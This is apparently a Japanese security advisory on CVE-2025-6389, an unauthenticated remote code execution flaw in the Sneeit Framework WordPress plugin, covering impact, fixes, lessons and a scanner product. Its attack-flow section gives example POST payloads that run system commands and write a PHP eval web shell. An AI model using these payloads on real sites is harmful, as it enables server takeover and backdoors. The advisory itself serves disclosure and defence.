CVE-2025-6389: Sneeit Frameworkの未認証リモートコード実行
概要
- CVE: CVE-2025-6389
- 影響バージョン: Sneeit Framework <= 8.3(複数のプレミアムテーマにバンドル)
- CVSS: 9.8 (Critical)
- 認証: 不要(未認証)
- 種別: 任意PHP関数呼び出し + リモートコード実行(RCE)
2025年8月5日、複数のプレミアムWordPressテーマにバンドルされているフレームワークプラグイン「Sneeit Framework」に、認証不要でリモートコード実行が可能な致命的な脆弱性が修正されました。公開告知は2025年11月24日に行われ、即座に大規模な悪用が確認されています。
アクティブインストール数は約1,700件と比較的小さな対象ですが、公開から数週間で131,000件を超える攻撃試行がブロックされています。Webシェルの設置や不正管理者アカウントの作成を含む実害が報告されており、インストール数の少なさとは不釣り合いな規模の攻撃にさらされた事例として注目されています。
何が起きたか
脆弱性の根本原因は、sneeit_articles_pagination_callback 関数内における、ユーザー入力のPHP組み込み関数 call_user_func への直接渡しです。
call_user_func はPHPの関数を動的に呼び出すための関数です。第1引数に関数名(文字列)を受け取り、その関数を実行します。つまり、この引数をユーザーが制御できる状態は、攻撃者がPHP環境内の任意の関数を呼び出せることを意味します。
問題のコードは概念的に以下のような構造でした:
// 脆弱なコード(概念図)
function sneeit_articles_pagination_callback() {
$type = $_POST['type']; // ユーザー入力をそのまま取得
// サニタイズなし、ホワイトリストチェックなし
call_user_func($type); // 任意のPHP関数を実行
}
call_user_func に渡す値がユーザー入力から来ている場合、攻撃者は以下のような危険な関数名を渡すことができます:
system— OSコマンド実行passthru— OSコマンド実行(出力をそのまま返す)phpinfo— PHP設定情報の漏洩assert— PHPコードの評価・実行
call_user_func を使う場合、第1引数は必ず厳密なホワイトリストで検証しなければなりません。この検証が一切なかったことが、認証不要の完全なRCEにつながりました。
攻撃の仕組み
攻撃フロー:
-
ターゲットの選定: Sneeit Frameworkをバンドルしたプレミアムテーマ(Neoustheme、SmithTheme等のテーマ)を使用しているWordPressサイトをスキャンする。
/wp-content/plugins/sneeit-framework/の存在確認や、テーマのフッターに記載されたクレジットで判定可能 -
エンドポイントの特定: Sneeit Frameworkはadmin-ajax.phpアクション経由でコールバック関数を公開しており、認証チェックがないため未認証でアクセス可能
-
ペイロードの送信:
typeパラメータに実行したいPHP関数名を指定してPOSTリクエストを送信する
POST /wp-admin/admin-ajax.php
action=sneeit_articles_pagination
type=phpinfo
- 任意コマンドの実行:
call_user_funcの第2引数以降もユーザーが制御できるため、引数付きの危険な関数も呼び出せる
POST /wp-admin/admin-ajax.php
action=sneeit_articles_pagination
type=system
arg=id
サーバーからのレスポンス:uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Webシェルの設置: ファイル書き込み関数(
file_put_contents等)を呼び出してWebシェルを永続化する
type=file_put_contents
arg[0]=/var/www/html/wp-content/uploads/shell.php
arg[1]=<?php @eval($_POST['c']); ?>
- 不正管理者の作成:
wp_create_userやadd_user_metaを呼び出してWordPress管理者アカウントを直接作成し、持続的なバックドアとする
実際の被害
- 公開告知から数週間で131,000件以上の攻撃試行がブロックされた
- アクティブインストール数約1,700件という小さな対象に対して、この件数は1サイトあたり平均77件以上の攻撃試行に相当する
- Webシェルの設置が実際に確認されており、攻撃者がサーバーへの持続的なアクセスを確立したケースが報告されている
- 不正管理者アカウントの作成が確認されており、パスワードリセットやコンテンツ改ざんが可能な状態になったサイトが存在する
- 認証不要かつ攻撃コードが単純なため、自動化されたボットによる大規模スキャンが容易
- 修正版(8.4)のリリース(8月5日)から公開告知(11月24日)まで約3ヶ月間の非公開期間があったが、多くのサイトが告知後もアップデートを適用していなかった
修正と教訓
修正: バージョン8.4(2025年8月5日リリース)で修正済み。sneeit_articles_pagination_callback 内でユーザー入力を call_user_func に渡す処理を撤廃し、許可するページネーション処理を直接コード内に実装する形に変更されました。
教訓:
call_user_funcにユーザー入力を渡してはならない: これはPHPセキュリティの基本原則の一つ。渡す関数名は必ずコード内で定義されたホワイトリストに限定し、ユーザー入力は関数名として絶対に使わない- 動的ディスパッチには厳格なホワイトリストを: どうしても動的に関数を呼び出す必要がある場合は
in_array($type, ['allowed_func1', 'allowed_func2'], true)のような厳格な比較で事前検証する - 未認証エンドポイントは攻撃対象の筆頭:
admin-ajax.phpのアクションに認証チェックを設けない場合、インターネット上の全員が呼び出せるエンドポイントになる。コールバック関数冒頭でcheck_ajax_referer()またはcurrent_user_can()を必ず呼び出す - バンドルプラグインは更新が見落とされやすい: テーマにバンドルされたプラグインはWordPress管理画面の「更新」タブに表示されないケースがある。テーマのアップデートを通じてのみ修正が提供される場合、脆弱性に気づきにくい
- インストール数の少なさは安全を意味しない: 1,700件という小規模な対象に対して131,000件の攻撃試行が発生した事実は、攻撃者が自動化ツールで全WordPressサイトを網羅的にスキャンしていることを示している
Nyambushでの検出
NyambushはWordPressテーマにバンドルされたプラグインを含むすべてのコンポーネントのバージョンを自動的に検出し、脆弱性データベースと照合します。Sneeit Frameworkがバージョン8.3以下で動作している場合、CVSSスコア9.8の「Critical」警告とともに即座に通知します。
継続監視モードでは、バージョン8.4への更新が確認されるまで警告を維持します。テーマのアップデートによってSneeit Frameworkが更新されたことが検出された時点で、アラートを自動的に解除します。